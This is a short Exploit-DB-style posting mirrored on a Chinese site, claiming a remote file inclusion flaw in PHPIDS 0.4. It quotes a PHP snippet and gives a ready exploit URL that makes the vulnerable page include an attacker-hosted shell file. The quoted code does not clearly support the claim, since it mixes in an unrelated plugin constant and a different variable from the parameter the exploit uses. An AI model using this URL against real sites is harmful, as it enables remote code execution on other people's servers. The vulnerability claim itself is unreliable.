PHPIDS 0.4 – Remote File Inclusion - 体验盒子

作者： eidelweiss

日期： 2010-02-17

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11486/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

###########################################################

### #

### PHPIDS 0.4 - Remote File Inclusion Vulnerability #

### #

###########################################################

###

### * @package PHPIDS

### * @Version 0.4

### * @license http://www.gnu.org/licenses/lgpl.html LGP

### * @link http://php-ids.org/

###

###########################################################

###

### Type : Remote File Inclusion Vulnerability

### Author: eidelweiss

### Date: 2010-02-08

### Location: Indonesia ( http://yogyacarderlink.web.id )

### Contact: g1xsystem [at] windowslive [dot] com

###

###########################################################

###

### Vuln: require_once 'IDS/Init.php'

###

### if (version_compare(phpversion(), '5.1.6', '>=')) {

### set_include_path (

### get_include_path()

### . PATH_SEPARATOR

### . BX_DIRECTORY_PATH_PLUGINS . 'phpids/'

###

### include_once 'IDS/Monitor.php';

### include_once 'IDS/Filter/Storage.php';

### if ($configPath) {

### $this->setConfigPath($configPath);

### $this->config = parse_ini_file($this->configPath, true);

### =========================================================

### Exploit: http://victim.com/[PHPIDS_path]/IDS/Init.php?path=[Shell.txt?]

###########################################################

### #

### Greetz : AL-MARHUM - YOGYACARDERLINK TEAM - (D)eal(C)yber #

### #

###########################################################